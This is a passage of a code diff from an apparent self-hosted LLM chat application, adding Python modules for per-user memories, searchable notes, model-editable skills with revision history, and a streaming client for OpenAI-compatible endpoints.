|
||||
# query in the same request failing too, which looks nothing like a
|
||||
# search problem.
|
||||
db.rollback()
|
||||
return []
|
||||
# bm25 returns a negative number, better matches being more negative.
|
||||
return [SearchHit(id=row[0], rank=float(row[1])) for row in rows]
|
||||
|
||||
return run(fts_query(needle)) or run(fts_query(needle, operator="OR"))
|
||||
@@ -0,0 +1,141 @@
|
||||
"""Memory: short facts, in front of the model on every turn.
|
||||
|
||||
The whole design follows from being injected rather than searched.
|
||||
|
||||
* Each record is **capped short**, because every one of them costs tokens on
|
||||
every request forever. A tool that writes an essay gets it trimmed and is
|
||||
told so, rather than the write failing -- the model can then decide to put
|
||||
the long version in a note.
|
||||
* There is a **budget** for the block as a whole. Past it the oldest are left
|
||||
out rather than the request growing without limit; the user can see the whole
|
||||
list in their settings and prune it.
|
||||
* There is **no search tool**. Searching something the model is already looking
|
||||
at is a round trip for nothing.
|
||||
* They are **not shareable**. A record about a person is not content to hand
|
||||
round, and nobody asked to share their memories with a group.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, Memory, User
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# One fact, not a paragraph. Long enough for "prefers metric units and a 24-hour
|
||||
# clock", short enough that fifty of them are still affordable.
|
||||
MAX_MEMORY_CHARS = 400
|
||||
|
||||
# Ceiling on the injected block. Reached, the oldest records drop out of the
|
||||
# prompt -- they are still listed in settings, so nothing disappears silently.
|
||||
MAX_TOTAL_CHARS = 4000
|
||||
|
||||
# A hard stop on how many can exist, so an enthusiastic model cannot fill a
|
||||
# database with variations on one fact.
|
||||
MAX_RECORDS = 200
|
||||
|
||||
|
||||
def all_for(db: DBSession, user: User | None) -> list[Memory]:
|
||||
if user is None:
|
||||
return []
|
||||
return list(
|
||||
db.scalars(
|
||||
select(Memory).where(Memory.owner_id == user.id).order_by(Memory.created_at)
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def get(db: DBSession, memory_id: str, user: User | None) -> Memory | None:
|
||||
memory = db.get(Memory, memory_id)
|
||||
if memory is None or user is None or memory.owner_id != user.id:
|
||||
return None
|
||||
return memory
|
||||
|
||||
|
||||
def add(db: DBSession, *, owner: User, content: str, author: str = AUTHOR_MODEL) -> Memory:
|
||||
"""Record a fact. Raises ValueError when there is no room or nothing to say.
|
||||
|
||||
An exact repeat returns the record that already exists rather than making a
|
||||
second one. The prompt asks the model to check before adding -- it is shown
|
||||
every memory, so it can -- but the same preference saved four times in
|
||||
slightly different words is the commonest failure here, and it is worse than
|
||||
wasted tokens: it makes `memory_forget` ambiguous for every one of them.
|
||||
Wording handles the near-duplicates; this handles the exact ones, which is
|
||||
the half a prompt cannot be relied on for.
|
||||
"""
|
||||
content = " ".join((content or "").split())
|
||||
if not content:
|
||||
raise ValueError("A memory cannot be empty.")
|
||||
content = content[:MAX_MEMORY_CHARS]
|
||||
|
||||
existing = db.scalars(
|
||||
select(Memory).where(Memory.owner_id == owner.id, Memory.content == content)
|
||||
).first()
|
||||
if existing is not None:
|
||||
return existing
|
||||
|
||||
count = db.scalar(
|
||||
select(func.count()).select_from(Memory).where(Memory.owner_id == owner.id)
|
||||
)
|
||||
if (count or 0) >= MAX_RECORDS:
|
||||
# Deliberately does NOT say "remove one first". Past MAX_TOTAL_CHARS the
|
||||
# injected block is truncated, so the model is not shown every memory
|
||||
# and would be choosing blind -- and deleting the wrong one is not
|
||||
# something anybody finds out about.
|
||||
raise ValueError(
|
||||
f"There are already {MAX_RECORDS} memories, which is the limit, so "
|
||||
f"nothing was saved. Do not remove one to make room — you are not "
|
||||
f"shown all of them and would be guessing. Say that the limit has "
|
||||
f"been reached, and put this in a note instead."
|
||||
)
|
||||
|
||||
memory = Memory(
|
||||
owner_id=owner.id,
|
||||
content=content,
|
||||
author=author if author in (AUTHOR_USER, AUTHOR_MODEL) else AUTHOR_MODEL,
|
||||
)
|
||||
db.add(memory)
|
||||
db.commit()
|
||||
return memory
|
||||
|
||||
|
||||
def update(db: DBSession, memory: Memory, content: str) -> Memory:
|
||||
content = " ".join((content or "").split())
|
||||
if not content:
|
||||
raise ValueError("A memory cannot be empty.")
|
||||
memory.content = content[:MAX_MEMORY_CHARS]
|
||||
db.commit()
|
||||
return memory
|
||||
|
||||
|
||||
def delete(db: DBSession, memory: Memory) -> None:
|
||||
db.delete(memory)
|
||||
db.commit()
|
||||
|
||||
|
||||
def block(db: DBSession, user: User | None) -> str:
|
||||
"""The memories as they appear in the prompt, within the budget.
|
||||
|
||||
Oldest first, and truncation drops the *newest* -- a fact that has survived
|
||||
a long time is more likely to be a standing preference than something said
|
||||
once this morning.
|
||||
"""
|
||||
records = all_for(db, user)
|
||||
if not records:
|
||||
return ""
|
||||
|
||||
lines: list[str] = []
|
||||
total = 0
|
||||
for memory in records:
|
||||
line = f"- {memory.content}"
|
||||
if total + len(line) > MAX_TOTAL_CHARS:
|
||||
lines.append(f"- (…{len(records) - len(lines)} more, see your settings)")
|
||||
break
|
||||
lines.append(line)
|
||||
total += len(line)
|
||||
|
||||
return "\n".join(lines)
|
||||
@@ -0,0 +1,92 @@
|
||||
"""Notes: what the model wrote down, and what a person wrote for it.
|
||||
|
||||
Longer and more specific than a memory, and not injected. A dozen notes would
|
||||
fill a context window on their own, so the model searches for the one it needs
|
||||
-- which is also why a note has a title worth reading: it is what a search
|
||||
result shows.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, Note, User
|
||||
from lembas.services import sharing
|
||||
from lembas.services.library.fts import search_ids
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
INDEX = "notes_fts"
|
||||
|
||||
MAX_TITLE_CHARS = 300
|
||||
MAX_BODY_CHARS = 40_000
|
||||
SNIPPET_CHARS = 800
|
||||
|
||||
|
||||
def visible(db: DBSession, user: User | None):
|
||||
return select(Note).where(sharing.visible_to(Note, user))
|
||||
|
||||
|
||||
def get(db: DBSession, note_id: str, user: User | None) -> Note | None:
|
||||
note = db.get(Note, note_id)
|
||||
if note is None or not sharing.can_read(db, note, user):
|
||||
return None
|
||||
return note
|
||||
|
||||
|
||||
def recent(db: DBSession, user: User | None, *, limit: int = 20) -> list[Note]:
|
||||
return list(
|
||||
db.scalars(visible(db, user).order_by(Note.updated_at.desc()).limit(limit))
|
||||
)
|
||||
|
||||
|
||||
def search(db: DBSession, user: User | None, needle: str, *, limit: int = 10) -> list[Note]:
|
||||
"""Notes matching `needle` that this user may see, best match first."""
|
||||
hits = search_ids(db, INDEX, needle, limit=limit * 4)
|
||||
if not hits:
|
||||
return []
|
||||
order = {hit.id: position for position, hit in enumerate(hits)}
|
||||
rows = list(db.scalars(visible(db, user).where(Note.id.in_(list(order)))))
|
||||
rows.sort(key=lambda note: order.get(note.id, len(order)))
|
||||
return rows[:limit]
|
||||
|
||||
|
||||
def create(
|
||||
db: DBSession, *, owner: User, title: str, body: str, author: str = AUTHOR_USER
|
||||
) -> Note:
|
||||
note = Note(
|
||||
owner_id=owner.id,
|
||||
title=(title.strip() or "Untitled")[:MAX_TITLE_CHARS],
|
||||
body=body.strip()[:MAX_BODY_CHARS],
|
||||
author=author if author in (AUTHOR_USER, AUTHOR_MODEL) else AUTHOR_USER,
|
||||
)
|
||||
db.add(note)
|
||||
db.commit()
|
||||
return note
|
||||
|
||||
|
||||
def update(db: DBSession, note: Note, *, title: str | None = None, body: str | None = None) -> Note:
|
||||
"""Change a note. Absent arguments are left alone, which is what lets a tool
|
||||
edit only the body without having to send the title back."""
|
||||
if title is not None and title.strip():
|
||||
note.title = title.strip()[:MAX_TITLE_CHARS]
|
||||
if body is not None:
|
||||
note.body = body.strip()[:MAX_BODY_CHARS]
|
||||
db.commit()
|
||||
return note
|
||||
|
||||
|
||||
def delete(db: DBSession, note: Note) -> None:
|
||||
sharing.forget_resource(db, note)
|
||||
db.delete(note)
|
||||
db.commit()
|
||||
|
||||
|
||||
def snippet(note: Note) -> str:
|
||||
text = (note.body or "").strip()
|
||||
if len(text) <= SNIPPET_CHARS:
|
||||
return text
|
||||
return text[:SNIPPET_CHARS].rstrip() + "…"
|
||||
@@ -0,0 +1,224 @@
|
||||
"""Skills: named instructions the model can choose to follow.
|
||||
|
||||
Two fields carry the design.
|
||||
|
||||
`description` is what gets injected -- one line per skill, for every skill --
|
||||
and is therefore the only thing the model has to go on when deciding whether a
|
||||
skill is relevant. A description that does not say *when* to use the skill makes
|
||||
it invisible in practice.
|
||||
|
||||
`body` is fetched only when the model decides to use it. That split is what
|
||||
makes a hundred skills affordable: the index costs a line each, the instructions
|
||||
cost nothing until wanted.
|
||||
|
||||
**A model may rewrite its own skills**, which is the point -- it is how it
|
||||
learns a procedure once instead of being told every time. The safety story is
|
||||
not a gate but a record: every write snapshots what was there first, so a change
|
||||
can be read and undone. A skill written after reading a hostile web page is a
|
||||
real risk, and the honest mitigation is that it is visible, attributed and
|
||||
revertible rather than that it was somehow prevented.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import re
|
||||
from collections.abc import Iterable
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, Skill, SkillRevision, User
|
||||
from lembas.services import sharing
|
||||
from lembas.services.library.fts import search_ids
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
INDEX = "skills_fts"
|
||||
|
||||
# A name the model can quote back without getting it wrong.
|
||||
SKILL_NAME_PATTERN = re.compile(r"^[a-z0-9][a-z0-9-]{1,60}$")
|
||||
|
||||
MAX_DESCRIPTION_CHARS = 400
|
||||
MAX_BODY_CHARS = 20_000
|
||||
|
||||
# The index goes into every request, so it has a ceiling like memory does.
|
||||
MAX_INDEX_SKILLS = 60
|
||||
|
||||
|
||||
class SkillError(Exception):
|
||||
"""A rejected skill write, with a message fit for the model or the user."""
|
||||
|
||||
|
||||
def slugify(name: str) -> str:
|
||||
cleaned = re.sub(r"[^a-z0-9]+", "-", (name or "").strip().lower()).strip("-")
|
||||
return cleaned[:60]
|
||||
|
||||
|
||||
def visible(db: DBSession, user: User | None):
|
||||
return select(Skill).where(sharing.visible_to(Skill, user))
|
||||
|
||||
|
||||
def get(db: DBSession, skill_id: str, user: User | None) -> Skill | None:
|
||||
skill = db.get(Skill, skill_id)
|
||||
if skill is None or not sharing.can_read(db, skill, user):
|
||||
return None
|
||||
return skill
|
||||
|
||||
|
||||
def by_name(db: DBSession, name: str, user: User | None) -> Skill | None:
|
||||
"""Look one up the way the model refers to it."""
|
||||
if user is None:
|
||||
return None
|
||||
return db.scalar(visible(db, user).where(Skill.name == slugify(name)))
|
||||
|
||||
|
||||
def enabled_for(
|
||||
db: DBSession, user: User | None, *, exclude: Iterable[str] = ()
|
||||
) -> list[Skill]:
|
||||
"""Skills that should appear in the index, oldest first for a stable order.
|
||||
|
||||
`exclude` is what one chat has switched off by name -- a narrowing of what
|
||||
the library already allows, never a widening of it.
|
||||
"""
|
||||
if user is None:
|
||||
return []
|
||||
hidden = {slugify(name) for name in exclude}
|
||||
rows = db.scalars(
|
||||
visible(db, user)
|
||||
.where(Skill.enabled.is_(True))
|
||||
.order_by(Skill.name)
|
||||
.limit(MAX_INDEX_SKILLS + len(hidden))
|
||||
)
|
||||
return [skill for skill in rows if skill.name not in hidden][:MAX_INDEX_SKILLS]
|
||||
|
||||
|
||||
def count_enabled(db: DBSession, user: User | None, *, exclude: Iterable[str] = ()) -> int:
|
||||
"""How many skills are available here at all.
|
||||
|
||||
Zero is what withdraws `skill_get` and `skill_edit`: reading and improving
|
||||
are meaningless with nothing to read, and a model told to "read one with
|
||||
skill_get" above a list that is not there spends a round finding out.
|
||||
"""
|
||||
return len(enabled_for(db, user, exclude=exclude))
|
||||
|
||||
|
||||
def search(db: DBSession, user: User | None, needle: str, *, limit: int = 10) -> list[Skill]:
|
||||
hits = search_ids(db, INDEX, needle, limit=limit * 4)
|
||||
if not hits:
|
||||
return []
|
||||
order = {hit.id: position for position, hit in enumerate(hits)}
|
||||
rows = list(db.scalars(visible(db, user).where(Skill.id.in_(list(order)))))
|
||||
rows.sort(key=lambda skill: order.get(skill.id, len(order)))
|
||||
return rows[:limit]
|
||||
|
||||
|
||||
def snapshot(db: DBSession, skill: Skill, *, author: str, note: str = "") -> SkillRevision:
|
||||
"""Record what a skill looked like before it is changed."""
|
||||
revision = SkillRevision(
|
||||
skill_id=skill.id,
|
||||
description=skill.description,
|
||||
body=skill.body,
|
||||
author=author,
|
||||
note=note[:200],
|
||||
)
|
||||
db.add(revision)
|
||||
return revision
|
||||
|
||||
|
||||
def create(
|
||||
db: DBSession,
|
||||
*,
|
||||
owner: User,
|
||||
name: str,
|
||||
description: str,
|
||||
body: str,
|
||||
author: str = AUTHOR_USER,
|
||||
) -> Skill:
|
||||
slug = slugify(name)
|
||||
if not SKILL_NAME_PATTERN.match(slug):
|
||||
raise SkillError(
|
||||
"A skill name must be two or more letters, numbers or hyphens, "
|
||||
"such as 'weekly-report'."
|
||||
)
|
||||
if by_name(db, slug, owner) is not None:
|
||||
raise SkillError(f"A skill called {slug!r} already exists. Edit it instead.")
|
||||
if not description.strip():
|
||||
raise SkillError(
|
||||
"A skill needs a description saying when to use it — it is the only "
|
||||
"thing shown until the skill is opened."
|
||||
)
|
||||
|
||||
skill = Skill(
|
||||
owner_id=owner.id,
|
||||
name=slug,
|
||||
description=description.strip()[:MAX_DESCRIPTION_CHARS],
|
||||
body=body.strip()[:MAX_BODY_CHARS],
|
||||
author=author if author in (AUTHOR_USER, AUTHOR_MODEL) else AUTHOR_USER,
|
||||
)
|
||||
db.add(skill)
|
||||
db.commit()
|
||||
log.info("skill %r created by %s", slug, author)
|
||||
return skill
|
||||
|
||||
|
||||
def update(
|
||||
db: DBSession,
|
||||
skill: Skill,
|
||||
*,
|
||||
description: str | None = None,
|
||||
body: str | None = None,
|
||||
enabled: bool | None = None,
|
||||
author: str = AUTHOR_USER,
|
||||
note: str = "",
|
||||
) -> Skill:
|
||||
"""Change a skill, keeping what it was.
|
||||
|
||||
The snapshot happens before the change and in the same transaction, so
|
||||
there is no window where a skill has been rewritten with no record of what
|
||||
it used to say.
|
||||
"""
|
||||
changing = (description is not None and description.strip() != skill.description) or (
|
||||
body is not None and body.strip() != skill.body
|
||||
)
|
||||
if changing:
|
||||
snapshot(db, skill, author=author, note=note)
|
||||
|
||||
if description is not None and description.strip():
|
||||
skill.description = description.strip()[:MAX_DESCRIPTION_CHARS]
|
||||
if body is not None:
|
||||
skill.body = body.strip()[:MAX_BODY_CHARS]
|
||||
if enabled is not None:
|
||||
skill.enabled = enabled
|
||||
if changing:
|
||||
skill.author = author if author in (AUTHOR_USER, AUTHOR_MODEL) else skill.author
|
||||
|
||||
db.commit()
|
||||
return skill
|
||||
|
||||
|
||||
def revert(db: DBSession, skill: Skill, revision: SkillRevision, *, author: str) -> Skill:
|
||||
"""Put a skill back to an earlier revision.
|
||||
|
||||
The revert is itself a change, so the current state is snapshotted first --
|
||||
going back is undoable too.
|
||||
"""
|
||||
snapshot(db, skill, author=author, note="before revert")
|
||||
skill.description = revision.description
|
||||
skill.body = revision.body
|
||||
db.commit()
|
||||
return skill
|
||||
|
||||
|
||||
def delete(db: DBSession, skill: Skill) -> None:
|
||||
sharing.forget_resource(db, skill)
|
||||
db.delete(skill)
|
||||
db.commit()
|
||||
|
||||
|
||||
def index_block(db: DBSession, user: User | None, *, exclude: Iterable[str] = ()) -> str:
|
||||
"""The one-line-per-skill listing that goes into the prompt."""
|
||||
skills = enabled_for(db, user, exclude=exclude)
|
||||
if not skills:
|
||||
return ""
|
||||
return "\n".join(f"- {skill.name}: {skill.description}" for skill in skills)
|
||||
@@ -0,0 +1,416 @@
|
||||
"""Client for OpenAI-compatible chat endpoints.
|
||||
|
||||
Deliberately plain httpx rather than the official SDK. The target is not just
|
||||
api.openai.com but LM Studio, vLLM, llama.cpp, Ollama's compatibility layer,
|
||||
OpenRouter and anything else exposing /v1 -- and they differ in small ways. A
|
||||
thin client passes request parameters through untouched and is tolerant about
|
||||
what comes back, which is exactly what talking to all of them requires.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
from collections.abc import AsyncIterator
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
from lembas.config import settings
|
||||
from lembas.db.models import Connection
|
||||
from lembas.services.crypto import decrypt
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class LLMError(Exception):
|
||||
"""An upstream failure with a message fit to show a user.
|
||||
|
||||
Every failure path in this module raises this rather than letting an httpx
|
||||
or JSON exception escape, so callers have exactly one thing to catch and
|
||||
the chat UI always has something intelligible to display.
|
||||
"""
|
||||
|
||||
def __init__(self, message: str, *, status_code: int | None = None) -> None:
|
||||
super().__init__(message)
|
||||
self.message = message
|
||||
self.status_code = status_code
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Endpoint:
|
||||
"""Everything needed to call a connection, with the key already decrypted.
|
||||
|
||||
A frozen snapshot rather than the ORM object because streaming outlives the
|
||||
request that started it, and a detached SQLAlchemy instance is a trap.
|
||||
"""
|
||||
|
||||
base_url: str
|
||||
api_key: str
|
||||
extra_headers: dict[str, str]
|
||||
name: str = ""
|
||||
|
||||
@classmethod
|
||||
def from_connection(cls, connection: Connection) -> Endpoint:
|
||||
return cls(
|
||||
base_url=connection.base_url.rstrip("/"),
|
||||
api_key=decrypt(connection.api_key_encrypted),
|
||||
extra_headers=dict(connection.extra_headers_json or {}),
|
||||
name=connection.name,
|
||||
)
|
||||
|
||||
def url(self, path: str) -> str:
|
||||
# Accept both "http://host:1234" and "http://host:1234/v1" so users do
|
||||
# not have to guess which form this expects.
|
||||
base = self.base_url
|
||||
if not base.endswith("/v1") and "/v1/" not in base:
|
||||
base = f"{base}/v1"
|
||||
return f"{base}/{path.lstrip('/')}"
|
||||
|
||||
def headers(self) -> dict[str, str]:
|
||||
headers = {"Content-Type": "application/json", **self.extra_headers}
|
||||
# Local endpoints frequently need no key at all; sending an empty
|
||||
# bearer token makes some of them reject the request outright.
|
||||
if self.api_key:
|
||||
headers["Authorization"] = f"Bearer {self.api_key}"
|
||||
return headers
|
||||
|
||||
|
||||
def describe_http_error(exc: httpx.HTTPStatusError) -> str:
|
||||
"""Turn an upstream error response into something worth reading.
|
||||
|
||||
Public because the audio and search clients talk to the same class of
|
||||
server and want the same translation; LLMError stays the one thing a
|
||||
caller has to catch.
|
||||
|
||||
Providers put the useful part in wildly different places, so try the common
|
||||
shapes before falling back to the raw body.
|
||||
"""
|
||||
status = exc.response.status_code
|
||||
detail = ""
|
||||
try:
|
||||
payload = exc.response.json()
|
||||
if isinstance(payload, dict):
|
||||
error = payload.get("error")
|
||||
if isinstance(error, dict):
|
||||
detail = error.get("message", "")
|
||||
elif isinstance(error, str):
|
||||
detail = error
|
||||
detail = detail or payload.get("message", "") or payload.get("detail", "")
|
||||
except (ValueError, json.JSONDecodeError):
|
||||
detail = exc.response.text[:300]
|
||||
|
||||
friendly = {
|
||||
401: "The API key was rejected.",
|
||||
403: "The API key is not permitted to use this model.",
|
||||
404: "The endpoint or model was not found.",
|
||||
429: "Rate limited by the provider.",
|
||||
}.get(status)
|
||||
|
||||
if friendly and detail:
|
||||
return f"{friendly} {detail}"
|
||||
return friendly or detail or f"The endpoint returned HTTP {status}."
|
||||
|
||||
|
||||
def wrap_transport_error(exc: httpx.RequestError, endpoint: Endpoint) -> LLMError:
|
||||
if isinstance(exc, httpx.ConnectError):
|
||||
return LLMError(
|
||||
f"Could not reach {endpoint.base_url}. Is the endpoint running and "
|
||||
f"the URL correct?"
|
||||
)
|
||||
if isinstance(exc, httpx.TimeoutException):
|
||||
return LLMError(
|
||||
f"{endpoint.base_url} did not respond within "
|
||||
f"{settings.request_timeout:.0f}s."
|
||||
)
|
||||
return LLMError(f"Could not reach {endpoint.base_url}: {exc}")
|
||||
|
||||
|
||||
async def list_models(endpoint: Endpoint) -> list[dict[str, Any]]:
|
||||
"""Fetch the models a connection advertises via GET /v1/models."""
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=30.0) as client:
|
||||
response = await client.get(endpoint.url("models"), headers=endpoint.headers())
|
||||
response.raise_for_status()
|
||||
payload = response.json()
|
||||
except httpx.HTTPStatusError as exc:
|
||||
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
|
||||
except httpx.RequestError as exc:
|
||||
raise wrap_transport_error(exc, endpoint) from exc
|
||||
except ValueError as exc:
|
||||
raise LLMError("The endpoint returned a response that was not JSON.") from exc
|
||||
|
||||
# The spec says {"data": [...]}, but some servers return a bare list.
|
||||
entries = payload.get("data", payload) if isinstance(payload, dict) else payload
|
||||
if not isinstance(entries, list):
|
||||
raise LLMError("The endpoint's model list was not in the expected format.")
|
||||
|
||||
models = []
|
||||
for entry in entries:
|
||||
if isinstance(entry, dict) and entry.get("id"):
|
||||
models.append(entry)
|
||||
elif isinstance(entry, str):
|
||||
models.append({"id": entry})
|
||||
return models
|
||||
|
||||
|
||||
# Where the runners that bother to advertise a context length put it. There is
|
||||
# no standard field, so this is a list of what the common ones actually emit.
|
||||
_CONTEXT_KEYS = ("context_length", "max_model_len", "context_window", "max_context_length")
|
||||
|
||||
# Below the first, the number is not a context length; above the second it is a
|
||||
# typo or a different unit. Either way, better to record nothing than a wrong
|
||||
# figure a percentage would then be computed from.
|
||||
MIN_CONTEXT = 256
|
||||
MAX_CONTEXT = 10_000_000
|
||||
|
||||
|
||||
def context_from(entry: dict[str, Any]) -> int:
|
||||
"""A model's context length as advertised by /v1/models, or 0 if it is not.
|
||||
|
||||
Strings are accepted because some servers quote the number, but only when
|
||||
they are digits alone -- "8192 tokens" is a label, not a measurement.
|
||||
"""
|
||||
candidates = [entry.get(key) for key in _CONTEXT_KEYS]
|
||||
meta = entry.get("meta")
|
||||
if isinstance(meta, dict):
|
||||
candidates += [meta.get("n_ctx"), *(meta.get(key) for key in _CONTEXT_KEYS)]
|
||||
|
||||
for value in candidates:
|
||||
if isinstance(value, bool):
|
||||
continue
|
||||
if isinstance(value, str):
|
||||
value = value.strip()
|
||||
if not value.isdigit():
|
||||
continue
|
||||
value = int(value)
|
||||
if isinstance(value, int) and MIN_CONTEXT <= value <= MAX_CONTEXT:
|
||||
return value
|
||||
return 0
|
||||
|
||||
|
||||
# Endpoints that rejected `stream_options`, so it is asked for once per base URL
|
||||
# per process and then never again. Not persisted: it is a property of whatever
|
||||
# is running there now, and a restart is the right time to find out afresh.
|
||||
_NO_STREAM_OPTIONS: set[str] = set()
|
||||
|
||||
|
||||
async def stream_chat(
|
||||
endpoint: Endpoint,
|
||||
payload: dict[str, Any],
|
||||
) -> AsyncIterator[dict[str, Any]]:
|
||||
"""Stream a chat completion, yielding each parsed SSE data object.
|
||||
|
||||
Yields the raw upstream chunks; interpreting them is the caller's job. The
|
||||
terminating "[DONE]" sentinel is consumed here and not yielded.
|
||||
|
||||
`stream_options` asks for the final usage chunk, which is the only way to
|
||||
learn what a streamed reply actually cost. Not every server implements it,
|
||||
and an unknown key is a 400 from some of them -- the same hazard as sending
|
||||
a `tools` array to an endpoint without support. So it is asked for once,
|
||||
and an endpoint that refuses is remembered and never asked again. Retrying
|
||||
is safe because the status is checked before a single line is read: nothing
|
||||
has been yielded, so there is nothing to duplicate.
|
||||
"""
|
||||
wants_usage = endpoint.base_url not in _NO_STREAM_OPTIONS
|
||||
|
||||
try:
|
||||
async for chunk in _stream_once(endpoint, payload, usage=wants_usage):
|
||||
yield chunk
|
||||
except LLMError as exc:
|
||||
if not wants_usage or exc.status_code not in (400, 422):
|
||||
raise
|
||||
_NO_STREAM_OPTIONS.add(endpoint.base_url)
|
||||
log.info(
|
||||
"%s rejected stream_options; token counts will be estimated there",
|
||||
endpoint.base_url,
|
||||
)
|
||||
async for chunk in _stream_once(endpoint, payload, usage=False):
|
||||
yield chunk
|
||||
|
||||
|
||||
async def _stream_once(
|
||||
endpoint: Endpoint,
|
||||
payload: dict[str, Any],
|
||||
*,
|
||||
usage: bool,
|
||||
) -> AsyncIterator[dict[str, Any]]:
|
||||
body = {**payload, "stream": True}
|
||||
if usage:
|
||||
body["stream_options"] = {"include_usage": True}
|
||||
|
||||
try:
|
||||
async with (
|
||||
httpx.AsyncClient(timeout=settings.request_timeout) as client,
|
||||
client.stream(
|
||||
"POST",
|
||||
endpoint.url("chat/completions"),
|
||||
headers=endpoint.headers(),
|
||||
json=body,
|
||||
) as response,
|
||||
):
|
||||
if response.status_code >= 400:
|
||||
# The body has not been read yet on a streaming response, and
|
||||
# the error detail is in it.
|
||||
await response.aread()
|
||||
response.raise_for_status()
|
||||
|
||||
async for line in response.aiter_lines():
|
||||
line = line.strip()
|
||||
if not line or line.startswith(":"):
|
||||
continue # keep-alive comment
|
||||
if not line.startswith("data:"):
|
||||
continue
|
||||
data = line[5:].strip()
|
||||
if data == "[DONE]":
|
||||
return
|
||||
try:
|
||||
yield json.loads(data)
|
||||
except json.JSONDecodeError:
|
||||
# A malformed frame is not worth killing a reply over.
|
||||
log.warning("skipping unparseable SSE frame: %.120s", data)
|
||||
continue
|
||||
|
||||
except httpx.HTTPStatusError as exc:
|
||||
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
|
||||
except httpx.RequestError as exc:
|
||||
raise wrap_transport_error(exc, endpoint) from exc
|
||||
|
||||
|
||||
async def complete(endpoint: Endpoint, payload: dict[str, Any]) -> str:
|
||||
"""Non-streaming completion. Used for short internal calls like auto-titling."""
|
||||
body = {**payload, "stream": False}
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=60.0) as client:
|
||||
response = await client.post(
|
||||
endpoint.url("chat/completions"), headers=endpoint.headers(), json=body
|
||||
)
|
||||
response.raise_for_status()
|
||||
data = response.json()
|
||||
except httpx.HTTPStatusError as exc:
|
||||
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
|
||||
except httpx.RequestError as exc:
|
||||
raise wrap_transport_error(exc, endpoint) from exc
|
||||
except ValueError as exc:
|
||||
raise LLMError("The endpoint returned a response that was not JSON.") from exc
|
||||
|
||||
try:
|
||||
return data["choices"][0]["message"]["content"] or ""
|
||||
except (KeyError, IndexError, TypeError) as exc:
|
||||
raise LLMError("The endpoint returned no completion.") from exc
|
||||
|
||||
|
||||
def delta_reasoning(chunk: dict[str, Any]) -> str:
|
||||
"""Pull a reasoning delta out of one streamed chunk.
|
||||
|
||||
Providers disagree on the field name -- llama.cpp, llama-swap and vLLM use
|
||||
``reasoning_content``, some others just ``reasoning`` -- so both are read.
|
||||
Models that emit ``<think>`` tags inline in ``content`` instead are handled
|
||||
by lembas.services.reasoning.
|
||||
"""
|
||||
try:
|
||||
choices = chunk.get("choices") or []
|
||||
if not choices:
|
||||
return ""
|
||||
delta = choices[0].get("delta") or {}
|
||||
for field in ("reasoning_content", "reasoning"):
|
||||
value = delta.get(field)
|
||||
if isinstance(value, str) and value:
|
||||
return value
|
||||
return ""
|
||||
except (AttributeError, TypeError):
|
||||
return ""
|
||||
|
||||
|
||||
def delta_tool_calls(chunk: dict[str, Any]) -> list[dict[str, Any]]:
|
||||
"""Pull tool-call fragments out of one streamed chunk.
|
||||
|
||||
Each entry carries an ``index`` and, across chunks, a name that arrives
|
||||
once and an ``arguments`` string that arrives in pieces. Reassembling them
|
||||
is lembas.services.tools.ToolCallAccumulator's job; this only extracts.
|
||||
"""
|
||||
try:
|
||||
choices = chunk.get("choices") or []
|
||||
if not choices:
|
||||
return []
|
||||
calls = (choices[0].get("delta") or {}).get("tool_calls")
|
||||
return calls if isinstance(calls, list) else []
|
||||
except (AttributeError, TypeError):
|
||||
return []
|
||||
|
||||
|
||||
def finish_reason(chunk: dict[str, Any]) -> str:
|
||||
"""Why the model stopped, when the chunk says so.
|
||||
|
||||
``tool_calls`` here is the signal that the reply is not an answer but a
|
||||
request to run something and come back. Some servers send ``stop`` even
|
||||
when they emitted tool calls, so the accumulator's contents are the real
|
||||
authority and this is only a hint.
|
||||
"""
|
||||
try:
|
||||
choices = chunk.get("choices") or []
|
||||
if not choices:
|
||||
return ""
|
||||
return choices[0].get("finish_reason") or ""
|
||||
except (AttributeError, TypeError):
|
||||
return ""
|
||||
|
||||
|
||||
def chunk_usage(chunk: dict[str, Any]) -> dict[str, int] | None:
|
||||
"""Token counts from a usage chunk, or None if this is not one.
|
||||
|
||||
A usage chunk carries `choices: []`, which is exactly the shape delta_text,
|
||||
delta_reasoning, delta_tool_calls and finish_reason all return early on --
|
||||
they have always tolerated it, so nothing else needs to change to let one
|
||||
through.
|
||||
|
||||
Fields are read defensively because "the endpoint returned something odd"
|
||||
must never be the reason a reply fails; a bad shape simply means no counts.
|
||||
"""
|
||||
try:
|
||||
raw = chunk.get("usage")
|
||||
except AttributeError:
|
||||
return None
|
||||
if not isinstance(raw, dict):
|
||||
return None
|
||||
|
||||
counts: dict[str, int] = {}
|
||||
for key in ("prompt_tokens", "completion_tokens", "total_tokens"):
|
||||
value = raw.get(key)
|
||||
if isinstance(value, bool) or not isinstance(value, (int, float)):
|
||||
continue
|
||||
if value >= 0:
|
||||
counts[key] = int(value)
|
||||
|
||||
# Some servers send a usage object of zeros on every chunk and the real
